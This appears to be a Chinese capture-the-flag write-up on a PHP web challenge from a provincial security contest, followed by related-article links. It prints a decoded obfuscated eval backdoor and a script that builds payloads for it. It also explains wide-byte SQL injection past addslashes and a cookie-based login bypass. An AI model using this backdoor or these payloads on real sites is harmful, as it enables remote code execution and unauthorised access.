0x01 混淆后门#conn.php

首先还是拖到D盾扫描

打开conn.php发现底部有那么一串代码:

对这个代码进行分析

首先可以对几个比较简单的变量输出看一下

$s输出内容为create_function

29行可知匿名函数调用了$q中的代码,所以我们打印$q的内容看一下

$q的内容为:

$k="5ac91f7d";$kh="b9615a29bc1d";$kf="24d0b67c2c91";$p="9GmIEgwZ7HiEeclS";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

代码格式化以后内容如下:

发现是通过input传入数据,然后需要满足正则且等于才往下执行。

需要了解的几个函数:

ob_start:php 的缓冲输出函数

gzcompress:压缩函数

gzuncompress:解压函数

ob_get_contents:得到缓冲区的数据

x是一个混淆函数,具体如何混淆的可以不去管。

我们只要知道19行他给我们进行了base64deco以及解压缩,那么反过来base64encode以及压缩就好了。

例如我们现在要将phpinfo();加密

逆向出来代码如下:

<?php
$k="5ac91f7d";
$kh="b9615a29bc1d";
$kf="24d0b67c2c91";
$p="9GmIEgwZ7HiEeclS";
function x($t,$k){
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};
        }
    }return $o;
}
$r=@base64_encode(@x(@gzcompress('phpinfo();'),$k));
echo $r;

得到字符串:Tf1I8Rmu+y/+trONN2YioDbg

最后与$kh、$kf拼接

得到b9615a29bc1dTf1I8Rmu+y/+trONN2YioDbg24d0b67c2c91

以此发送post数据包。

0x03 后台上传后门#up.class.php

第七行代码可见php也在其上传列表内;

然后看看那里调用了这个类

根据目录来看基本都是后台

复现了一下环境:

发现上传功能是坏的,所以上传功能应该是不行的。只能通过ueditor的那个编辑器上传,所以这个点只能说是作废;

0x03 SQL注入#conntent.php

addslashes函数是可被绕过的,如果当时比赛环境使用的是gbk编码的话是可以通过宽字节注入bypass的,他程序几乎都是使用这个函数的,所以直接搜素addslashes就几乎都是sql注入;

注入点非常多,我就不一一写出来了,因为这个程序源码挺大的;

0x04 权限绕过 #checklogin.php

他这个check也是写的有点搞笑。

判断$_COOKIE是否为空

所以只要请求user字段不为空就OK了(x-forwarded-for是我平时就喜欢加的,可忽略)

#php web的基本就是如上漏洞,难点应该就是最初的那个PHP混淆吧,如果要修复直接删除那段木马即可,据我所知,是能够登陆就可以拿到一个flag。自动化的话也是非常简单,写一个脚本requests的cookie字段填写user=1然后正则提取flag输出到txt,结合burpsuite自动提交flag。

贵州省网络安全知识竞赛团体赛Writeup-phpweb部分的更多相关文章

  1. 贵州省网络安全知识竞赛个人赛Writeup

    首先拖到D盾扫描 可以很明显的看出来确实就是两个后门 0x01 Index.php#一句话木马后门 0x02 About.php#文件包含漏洞 都可以很直观的看出来非常明显的漏洞,第一个直接就是eva ...

  2. 山东省网络安全技能大赛 部分writeup

    web1 提示:ip不在范围内 直接抓包加client-ip: 127.0.0.1 即可得到flag web2 <?php include 'here.php';    $key = 'kela ...

  3. 黑龙江网络安全技能竞赛awd后门分析复现

    0x0环境 0x1分析复现 0x2感想 围绕主办方留下的浅显后门可以打满整场,想拿第一还是要搞定深层后门

  4. 第三届上海市大学生网络安全大赛 流量分析 WriteUp

    题目链接: https://pan.baidu.com/s/1Utfq8W-NS4AfI0xG-HqSbA 提取码: 9wqs 解题思路: 打开流量包后,按照协议进行分类,发现了存在以下几种协议类型: ...

  5. 全国大学生信息安全竞赛初赛writeup

    本文首发于“合天智汇”公众号 作者:Fortheone WEB Babyunserialize 扫目录发现了 www.zip 下载下来发现似曾相识 之前wmctf2020的webweb出了f3的反序列 ...

  6. 网络安全知识--PHP代码审计/Web For Pantesters 的 SQL injection

    SQL 注入一般流程 判断有无注入 单引号判断: ?name=root' 对应语句 select * from table where name='root'' 不符合语法规范,报错,说明有注入 an ...

  7. 网络安全知识--PHP代码审计/Web For Pantesters 的 XSS

    用到 ** WEB FOR Pentester** 注意区分单引号双引号. 常见代码 审计工具 wamp,dwva,zvuldrill,burpsuite,seay源代码审计系统... 1 xss W ...

  8. 2020腾讯犀牛鸟网络安全T-Star高校挑战赛writeup

    签到 浏览器禁用js,在www目录下有 key 命令执行基础 使用 | 可以执行其他命令,在 ../目录下有 key.php cat 一下读出来 你能爆破吗 一开始随便输了个账号的时候不是这个页面,抓 ...

  9. SQL注入漏洞详解

    目录 SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 UpdateXml报错注 ...

随机推荐

  1. 6.8.5 使用Lambda表达式调用Arrays的类方法

    6.8.5 使用Lambda表达式调用Arrays的类方法 实例 Arrays类的有些方法需要Comparator. XxxOperator.XxxFunction等接口的实例,这些接口都是函数式接口 ...

  2. zookeeper伪分布式集群搭建

    zookeeper集群搭建注意点:         配置数据文件myid1/2/3对应server.1/2/3         通过zkCli.sh -server [ip]:[port]检测集群是否 ...

  3. 缓存系统——redis数据库

    缓存系统有:mongodb.redis(速度更快).memcache 学习memcached 参考:http://www.cnblogs.com/wupeiqi/articles/5132791.ht ...

  4. Ubuntu在没用root权限下如何创建sudo用户

    起因 安装openCryptoki之后,如果想执行相关命令的话,那么该用户必须在pkcs11用户组中,于是执行 sudo uersmod -G pkcs11 $(whoami) 之后重启系统,执行 s ...

  5. CSRF之POST

    最近重温<白帽子讲web安全>一书,看到第4章CSRF的时候,发现有个错误的地方,第116页底部的代码中有个坑,那段代码是运行不了的.原因是在form表单中有个<input type ...

  6. WordPress 安装主题、插件时问题解决办法

    --当能够在外网访问到自己的博客时,很多人都会很兴奋吧!如果环境是自己配置的,而不是用的集成环境肯定也会有点小小的成就感. --但是在我兴奋的时候遇到了个小麻烦,下载插件提示我输入FTP信任凭据,输了 ...

  7. 续python学习(一)

    接上面没写完的知识点继写. 当然,这些知识点都很简单,可能没必要花费太多时间去记忆,多写写代码就会了. 5.字符串的使用.索引和切片是字符串主要的两个应用.索引:顾名思义就是找出某个字符在一个字符串中 ...

  8. 【译文连载】 理解Istio服务网格(第七章 安全)

    全书目录 第一章 概述 第二章 安装 第三章 流控 第四章 服务弹性 第五章 混沌测试 第六章 可观测性 本文目录 第7章 安全 7.1 身份认证 7.1.1 Kubernetes上的Istio的身份 ...

  9. git add的各种情况分类

    ·  git add -A  提交所有变化 ·  git add -u  提交被修改(modified)和被删除(deleted)文件,不包括新文件(new) ·  git add .  提交新文件( ...

  10. jenkins-构建job成功后自动打tag到git仓库

    需求:最近开发同事提出了个要求,每当Jenkins执行上线部署完成后,对当前代码进行自动打TAG到git仓库中,且只有当部署成功后才进行打TAG,防止构建失败也进行打过多的垃圾tag,然后便于下次进行 ...